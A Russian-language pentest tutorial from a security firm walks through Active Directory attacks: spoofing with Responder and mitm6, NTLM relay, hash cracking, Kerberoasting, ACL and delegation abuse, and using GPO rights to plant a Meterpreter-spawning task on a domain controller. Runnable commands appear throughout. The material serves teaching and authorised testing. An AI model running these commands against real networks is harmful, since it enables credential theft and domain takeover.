21 Июня, 2019

Атаки на домен

Инфосистемы Джет

При проведении тестирований на проникновение мы довольно часто выявляем ошибки в конфигурации домена. Хотя многим это не кажется критичным, в реальности же такие неточности могут стать причиной компрометации всего домена.

К примеру, по итогам пентеста в одной компании мы пришли к выводу, что все доступные машины в домене были не ниже Windows10/Windows Server2016, и на них стояли все самые свежие патчи. Сеть регулярно сканировалась, машины хардились. Все пользователи сидели через токены и не знали свои «20-символьные пароли». Вроде все хорошо, но протокол IPv6 не был отключен. Схема захвата домена выглядела так:
mitm6 -> ntlmrelay -> атака через делегирование -> получен хеш пароля локального администратора -> получен хеш пароля администратора домена.
К сожалению, такие популярные сертификации, как OSCP, GPEN или CEH, не учат проведению тестирования на проникновение Active Directory.

В этой статье мы рассмотрим несколько видов атак на Active Directory, которые мы проводили в рамках пентестов, а также используемые инструменты. Это ни в коем случае нельзя считать полным пособием по всем видам атак и инструментам, их действительно очень много, и это тяжело уместить в рамках одной статьи.

Итак, для демонстрации используем ноутбук на Kali Linux 2019 и поднятые на нем виртуальные хосты на VMware. Представим, что главная цель пентеста — получить права администратора домена, а в качестве вводных данных у нас есть доступ в корпоративную сеть компании по ethernet. Чтобы начать тестировать домен, нам понадобится учетная запись.

Получение учетной записи
 Рассмотрим два самых распространенных, по моему мнению, метода, позволяющих получить логин и пароль доменной учетной записи: LLMNR/NBNS-спуфинг и атаку на протокол IPv6.

LLMNR/NBNS-спуфинг
 Про эту атаку было сказано довольно много. Суть в том, что клиент рассылает мультикастные LLMNR- и широковещательные NBT-NS-запросы для разрешения имен хостов, если сделать это по DNS не удалось. На такие запросы может ответить любой пользователь сети.

Инструменты, которые позволяют провести атаку:
  • Responder
  • Inveight
  • Модули Metasploit: auxiliary/spoof/llmnr/llmnr_response, auxiliary/spoof/nbns/nbns_response,
    auxiliary/server/capture/smb, auxiliary/server/capture/http_ntlm
При успешной атаке мы сможем получить NetNTLM-хеш пароля пользователя.

Responder -I eth0 -wrf




Полученный хеш мы можем сбрутить или выполнить NTLM-релей.

Атака на протокол IPv6
 Если в корпоративной сети используется IPv6, мы можем ответить на запросы DHCPv6 и установить в качестве DNS-сервера на атакуемой машине свой IP-адрес. Так как IPv6 имеет приоритет над IPv4, DNS-запросы клиента будут отправлены на наш адрес. Подробнее об атаке можно прочитать тут .

Инструменты:
Запуск утилиты mitm6

mitm6 -i vmnet0


После выполнения атаки на атакуемой рабочей станции появится новый DNS-сервер с нашим IPv6-адресом.



Атакуемые машины будут пытаться аутентифицироваться на нашей машине. Подняв SMB-сервер с помощью утилиты smbserver.py , мы сможем получить хеши паролей пользователей.

smbserver.py -smb2support SMB /root/SMB




Действия с захваченными хешами
 Следующим шагом мы можем либо выполнить криптографическую атаку на хеши паролей и получить пароль в открытом виде, либо выполнить NTLM relay.

Перебор пароля
 Тут все просто: берем хеш пароля, hashcat

hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt


и брутим. Пароль либо удастся получить, либо нет :)



Пароль пользователя Harvey был восстановлен — Pbvf2019

NTLM Relay
 Также мы можем выполнить NTLM-релей. Предварительно убедившись, что не используется SMB Signing, применяем утилиту ntlmrelayx.py и проводим атаку. Здесь опять же, в зависимости от цели, выбираем нужный нам вектор. Рассмотрим некоторые из них.

Доступ к атакуемой машине по протоколу SMB
 Выполним атаку с ключом i.

ntlmrelayx.py -t 192.168.1.5 -l loot -i




При удачной атаке мы сможем подключиться к удаленной машине с помощью netcat.



Cбор информации о домене

В данном случае выполняем релей на контроллер домена.

ntlmrelayx.py -t ldap://192.168.1.2


При успешном проведении атаки получим подробную информацию о домене:



Добавление нового компьютера в домен
 Каждый пользователь по умолчанию имеет возможность создать до 10 компьютеров в домене. Чтобы создать компьютер, нужно выполнить релей на контроллер домена по протоколу ldaps. Создание пользователей и компьютеров по незашифрованному соединению ldap запрещено. Также не удастся создать учетную запись, если будет перехвачено соединение по SMB.

ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer




Как видно на рисунке, нам удалось создать компьютер RORYOTGS$.
При создании более 10 компьютеров получим ошибку следующего вида:



Используя учетные данные компьютера RORYOTGS$, мы можем выполнять легитимные запросы к контроллеру домена.

Сбор информации о домене
 Итак, у нас есть учетная запись доменного пользователя либо компьютера. Для продолжения тестирования нам нужно собрать доступную информацию для дальнейшего планирования атак. Рассмотрим некоторые инструменты, которые помогут нам определиться с поиском наиболее критичных систем, спланировать и выполнить атаку.

BloodHound
 Один из самых важных инструментов, который используется практически во всех внутренних тестированиях на проникновение. Проект активно развивается и дополняется новыми фичами.

В качестве сборщиков информации выступают SharpHound.exe (требуется установленный .NET v3.5) и написанный на powershell скрипт SharpHound.ps1 . Также есть сборщик, написанный сторонним разработчиком на Python, — Bloodhound-python .

В качестве базы данных используется Neo4j , имеющая свой синтаксис, что позволяет выполнять кастомные запросы. Подробнее ознакомиться с синтаксисом можно тут .

Также разработчики предоставляют скрипт DBCreator.py , который позволяет сгенерировать случайную базу для проведения тестов.



Neo4j имеет REST API. Существуют различные утилиты, которые могут подключаться к базе и использовать полученные данные:
Рассмотрим некоторые из них.

CypherDog
  CypherDog — оболочка BloodHound, написанная на powershell. Включает в себя 27 командлетов.

По умолчанию для доступа к базе neo4j требуется аутентификация. Отключить аутентификацию можно, отредактировав файл neo4j.conf. В нем необходимо раскомментировать строку dbms.security.auth_enabled=false. Но так делать не рекомендуется, поскольку любой пользователь сможет подключиться к базе по адресу 127.0.0.1:7474 (конфигурация по умолчанию). Более подробно об аутентификации и авторизации в neo4j можно прочитать тут.

GoFetch
  GoFetch использует граф, созданный в bloodhound для планирования и выполнения атаки.

Запуск атаки

.\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json

gt-generator
  gt-generator , используя данные BloodHound, упрощает создание golden-тикетов. Для получения golden-тикета необходимы только имя пользователя и хеш пароля пользователя KRBTGT.

python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>




PowerView
  PowerView — Powershell-фреймворк, входящий в состав PowerSploit . Ниже приведен список некоторых командлетов, которые помогут при сборе информации о домене.

Adidnsdump

При использовании интегрированного DNS в Active Directory любой пользователь домена может запросить все DNS-записи, установленные по умолчанию.

Используемый инструмент: Adidnsdump.



Атаки на домен
 Теперь, имея информацию о домене, мы переходим к следующей фазе тестирования на проникновение — непосредственно к атаке. Рассмотрим 4 потенциальных вектора:
  1. Roasting
  2. Атака через ACL
  3. Делегирование Kerberos
  4. Abusing GPO Permissions
Roasting
 Этот вид атаки нацелен на протокол Kerberos. Можно выделить 2 вида атаки типа Roasting:
  • Kerberoast
  • Asreproast
Kerberoast
Впервые атака была продемонстрирована пользователем timmedin на DerbyCon в 2014 году ( video ). При успешном проведении атаки мы сможем перебрать пароль сервисной УЗ в офлайн-режиме, не боясь блокировки пользователя. Довольно часто у сервисных учетных записей бывают избыточные права и бессрочный пароль, что может позволить нам получить права администратора домена.

Чтобы понять суть атаки, рассмотрим, как работает Kerberos.



1. Пароль преобразуется в NTLM-хеш, временная метка шифруется хешем и отправляется на KDC в качестве аутентификатора в запросе TGT-тикета (AS-REQ). Контроллер домена (KDC) проверяет информацию пользователя и создает TGT-тикет.

2. TGT-тикет шифруется, подписывается и отправляется пользователю (AS-REP). Только служба Kerberos (KRBTGT) может открыть и прочитать данные из TGT-тикета.

3. Пользователь представляет TGT-тикет контроллеру домена при запросе TGS-тикета (TGS-REQ). Контроллер домена открывает TGT-тикет и проверяет контрольную сумму PAC.

4. TGS-тикет шифруется NTLM-хешем пароля сервисной учетной записи и отправляется пользователю (TGS-REP).

5. Пользователь предоставляет TGS-тикет компьютеру, на котором запущена служба (AP-REQ). Служба открывает TGS-тикет с помощью своего NTLM-хеша.

6. Доступ к сервису предоставлен (AS-REP).

Получив TGS-тикет (TGS-REP), мы можем подобрать пароль сервисной учетной записи в офлайн-режиме. Например, с помощью hashcat.

Согласно RFC396 , для протокола Kerberos зарезервировано 20 типов шифрования. Типы шифрования, которые используются сейчас, в порядке приоритета:
  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5
В последних версиях Windows по умолчанию используется шифрование AES. Но для совместимости с системами ниже Windows Vista и Windows 2008 server необходима поддержка алгоритма RC4. При проведении атаки всегда сначала производится попытка получения TGS-тикета с шифрованием RC4_HMAC_MD5, который позволяет быстрее перебирать пароли, а затем с остальными. Harmj0y провел интересное исследование и выяснил, что если в свойствах пользователя указать поддержку шифрования только Kerberos AES128 и AES256, Kerberos-тикет все равно выдается с шифрованием RC4_HMAC_MD5.



Отключать RC4_HMAC_MD5 необходимо на уровне домена.

Атака Kerberoasting имеет 2 подхода.

1. Старый метод. TGS-тикеты запрашиваются через setspn.exe или .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken класса Powershell, извлекаются из памяти с помощью mimikatz, далее конвертируются в нужный формат (John, Hashcat) и перебираются.
2. Новый метод. machosec заметил, что класс KerberosRequestorSecurityToken имеет метод GetRequest , который извлекает зашифрованную часть с паролем из TGS-тикета.

Инструменты для проведения атаки:

1) Поиск SPN-записей
2) Запрос TGS-тикета
  • setspn.exe (штатная утилита Windows)
  • Запрос тикета через powershell
    Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>”
  • Request-SPNTicket
Посмотреть текущие закешированные тикеты можно командой klist.

3) Экспорт тикетов:
Пример автоматизированного выполнения всех 3 пунктов:
  • RiskySPN
    Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
  • PowerSploit
    Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
  • GetUserSPNs.py
    GetUserSPNs.py -request jet.lab\user:Password

Asreproast
 Уязвимость заключается в отключенной настройке предварительной аутентификации Kerberos. В этом случае мы можем отправить AS-REQ-запросы для пользователя, у которого отключена предварительная аутентификация Kerberos, и получить зашифрованную часть с паролем.



Уязвимость встречается редко, так как отключение предварительной аутентификации — это не настройка по умолчанию.

Поиск пользователей с отключенной предаутентификацией Kerberos:
  • PowerView
    Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
  • Модуль Active-Directory
    get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name

Получение зашифрованной части:
Атака через ACL
 ACL в контексте домена — набор правил, которые определяют права доступа объектов в AD. ACL может быть нас

троен как для отдельного объекта (например, учетная запись пользователя), так и для организационной единицы, например OU. При настройке ACL на OU все объекты внутри OU будут наследовать ACL. В списках ACL содержатся записи управления доступом (ACE), которые определяют способ взаимодействия SID с объектом Aсtive Directory.
К примеру, у нас есть три группы: А, Б, С, — где группа С является членом группы Б, а группа Б является членом группы А. При добавлении пользователя guest в группу С пользователь guest будет не только членом группы С, но и косвенным членом групп Б и А. При добавлении доступа к объекту домена группе А пользователь guest тоже будет иметь доступ к этому объекту. В ситуации, когда пользователь является прямым членом только одной группы, а эта группа является косвенным членом других 50 групп, легко потерять связь унаследованных разрешений.

Получить ACL, связанные с объектом, можно, выполнив следующую команду

Get-ObjectACL -Samaccountname Guest -ResolveGUIDs


Для эксплуатации ошибок в конфигурировании ACL можно использовать инструмент Invoke-ACLPwn . Powershell-скрипт собирает информацию обо всех ACL в домене с помощью сборщика BloodHound — SharpHound и выстраивает цепочку для получения разрешения writeDACL. После того, как цепочка построена, скрипт выполняет эксплуатацию каждого шага из цепочки. Порядок действия скрипта:
  1. Пользователь добавляется в необходимые группы.
  2. Два ACE (Replicating Directory Changes и Replicating Directory Changes ALL) добавляются в ACL объекта домена.
  3. При наличии прав на DCSync с помощью утилиты Mimikatz запрашивается хеш пароля пользователя krbtgt (настройка по умолчанию).
  4. После завершения эксплуатации скрипт удаляет все добавленные группы и записи ACE в ACL.
Скрипт нацелен только на использование права writeDACL. Также зломышленнику могут быть интересны следующие права доступа:
  • ForceChangePassword. Права на изменение пароля пользователя, когда текущий пароль не известен. Эксплуатация с помощью PowerSploit — Set-DomainUserPassword.
  • AddMembers. Права на добавление групп, компьютеров и пользователей в группы. Эксплуатация с помощью PowerSploit — Add-DomainGroupMember.
  • GenericWrite. Права на изменение атрибутов объекта. Например изменить значение параметра scriptPath. При следующем входе пользователя в систему запустится указанный файл. Эксплуатация с помощью PowerSploit — Set-DomainObject.
  • WriteOwner. Права на изменения владельца объекта. Эксплуатация с помощью PowerSploit — Set-DomainObjectOwner.
  • AllExtendedRights. Права на добавление пользователей в группы, смена паролей пользователя и др. Эксплуатация с помощью PowerSploit — Set-DomainUserPassword or Add-DomainGroupMember.
Эксплуатация:
Запуск с машины, которая находится в домене

./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe


Запуск с машины, которая не находится в домене

/Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain ‘fqdn_of_target_domain’ -Password ‘Pass’
  • aclpwn.py — похожий инструмент, написанный на Python
Делегирование Kerberos

Делегирование полномочий Kerberos позволяет повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере.

Делегирование Kerberos бывает трех видов:
  1. Неограниченное (Unconstrained delegation). Единственный вариант делегирования до Windows Server 2003
  2. Ограниченное (Сonstrained delegation), начиная с Windows Server 2003
  3. Ограниченное на основе ресурсов (Resource-Based Constrained Delegation). Появилось в Windows Server 2012
Неограниченное делегирование
 В оснастке Active Directory включенная функция неограниченного делегирования выглядит следующим образом:



Для наглядности рассмотрим, как происходит неограниченное делегирование на схеме.


  1. Пароль пользователя конвертируется в ntlm-хеш. Временная метка шифруется этим хешем и отправляется на контроллер домена для запроса TGT-тикета.
  2. Контроллер домена проверяет информацию о пользователе (ограничение входа в систему, членство в группах и т.д.), создает TGT-тикет и отправляет пользователю. TGT-тикет зашифрован, подписан, и его данные могут быть прочитаны только krbtgt.
  3. Пользователь запрашивает TGS-тикет для доступа на веб-сервис на веб-сервере.
  4. Контроллер домена предоставляет TGS-тикет.
  5. Пользователь отправляет TGT- и TGS-тикеты на веб-сервер.
  6. Сервисная учетная запись веб-сервера использует TGT-тикет пользователя для запроса TGS-тикета для доступа к серверу БД.
  7. Сервисная учетная запись подключается к серверу БД как пользователь.
Главная опасность неограниченного делегирования в том, что при компрометации машины с неограниченным делегированием злоумышленник сможет получить TGT-тикеты пользователей из этой машины и доступ к любой системе в домене от имени этих пользователей.

Поиск машин в домене с неограниченным делегированием:
  • PowerView
    Get-NetComputer -unconstrained
  • Active-Directory Module
    Get-Adcomputer -Filter {TrustedForDelegation -eq $True}.

Экспорт тикетов:
  • С помощью mimikatz. sekurlsa::tickets /export
  • Также можно выполнить атаку Pass-The-ticket
     kerberos::ptt C:\tickets\.



Ограниченное делегирование
 Режим ограниченного делегирования позволяет получить доступ только к разрешенным сервисам и на определенной машине. В оснастке Active Directory выглядит следующим образом:



При ограниченном делегировании используются 2 расширения протокола Kerberos:
  • S4USelf
  • S4UProxy
S4U2Self используется в случае, когда клиент аутентифицируется не по протоколу Kerberos.
При неограниченном делегировании для идентификации пользователя используется TGT, в этом случае расширение S4U использует структуру PA-FOR-USER в качестве нового типа в поле данных «padata»/pre-authentication. Процесс S4U2self разрешается, только если запрашивающий пользователь имеет поле TRUSTED_TO_AUTH_FOR_DELEGATION, установленное в его userAccountControl.



S4U2Proxy позволяет учетной записи службы использовать перенаправляемый тикет, полученный в процессе S4U2proxy, для запроса TGS-тикета для доступа к разрешенным сервисам (msds-allowtodelegateto). KDC проверяет, указан ли запрашиваемый сервис в поле msds-allowtodelegateto запрашивающего пользователя, и выдает билет, если проверка прошла успешно. Таким образом, делегирование «ограничено» конкретными целевыми сервисами.



Поиск компьютеров и пользователей в домене с ограниченным делегированием можно выполнить с помощью PowerView .

Поиск компьютеров с неограниченным делегированием

Get-DomainComputer -TrustedtoAuth


Поиск пользователей с ограниченным делегированием

Get-DomainUser -TrustedtoAuth


Для проведения атаки нам необходим пароль в открытом виде, NTLM-хеш пароля либо TGT-тикет.



Ограниченное делегирование на основе ресурсов
 Как и в обычном делегировании, используются расширения S4U. Так как делегирование на основе ресурсов — это в первую очередь ограниченное делегирование, то и здесь доступны атаки, актуальные для обычного ограниченного делегирования. Отличие только в том, что в простом ограниченном делегировании сервис А должен иметь атрибут msDS-AllowedToDelegateTo =ServiceB, а тут сервис B должен иметь атрибут msDS-AllowedToActOnBehalfOfOtherIdentity =Service A.

Это свойство позволяет провести еще одну атаку , опубликованную пользователем harmj0y . Для проведения атаки необходимы права на изменение параметра PrincipalsAllowedToDelegateToAccount, который задает атрибут msds-AllowedToActOnBehalfOfOtherIdentity, содержащий список управления доступом (ACL). В отличие от просто ограниченного делегирования, нам не нужны права администратора домена, чтобы изменить атрибут msds-AllowedToActOnBehalfOfOtherIdentity. Узнать, кто имеет права на редактирование атрибута, можно следующим образом:

(Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview





Итак, чтобы провести атаку, выполняем mitm6

mitm6 -I vmnet0


Запускаем ntlmrelayx с опцией --delegate-access

ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access


В результате атаки создается компьютер ZGXTPVYX$ с правами на делегирование компьютера Windows7.

$x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 






Хороший доклад про делегирование был представлен на PHDays Егором Подмоковым.



Abusing GPO Permissions
  Group Policy Objects — инструмент, позволяющий администраторам эффективно управлять доменом. Но бывает так, что пользователям назначаются излишние права, в том числе и на изменение политик GPO.

Для демонстрации примера добавим пользователю Ragnar права на редактирование политики «Default Domain Controllers Policy» (в реальной жизни права для этой политики выдаются только администраторам домена, но суть атаки не меняется; в случае другой политики меняются лишь подконтрольные хосты).



Выполним перечисление прав на всех GPOs в домене, используя PowerView


Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}





Пользователь Ragnar имеет права на изменение GPO, имеющее GUID — 6AC1786C-016F-11D2-945F-00C04FB984F9. Чтобы определить, к каким хостам в домене применяется данная политика, выполним следующую команду

Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}




Получили хост dc1.jet.lab.

Зная конкретную политику, которую может редактировать пользователь Ragnar, и хосты, к которым применяется эта политика, мы можем выполнить различные действия на хосте dc1.jet.lab.

Инструменты New-GPOImmediateTask и SharpGPOAbuse позволяют:
  • Выполнить задачу в планировщике задач
  • Добавить права пользователю (SeDebugPrivilege, SeTakeOwnershipPrivilege и др.)
  • Добавить скрипт, выполняющийся после автозагрузки
  • Добавить пользователя в локальную группу
Для примера добавим задачу в планировщике задач для получения сессии Meterpreter:

New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force


После выполнения появляется запланированная задача test



И появляется Meterpreter-сессия





Чтобы удалить запланированную задачу, нужно выполнить следующую команду:


New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy


Выводы

 В статье мы рассмотрели лишь некоторые векторы атак. Такие виды, как Enumerate Accounts и Password spray , MS14-068 , связка Printer Bug и Unconstrained Delegation, атаки на Exchange ( Ruler , PrivExchange , ExchangeRelayX ) могут значительно расширить область проведения атаки.

Техники атак и методы закрепления (Golden ticket, Silver ticket, Pass-The-Hash, Over pass the hash, SID History, DC Shadow и др.) постоянно меняются, а команде защиты нужно всегда быть готовой к новым видам атак.

Оригинал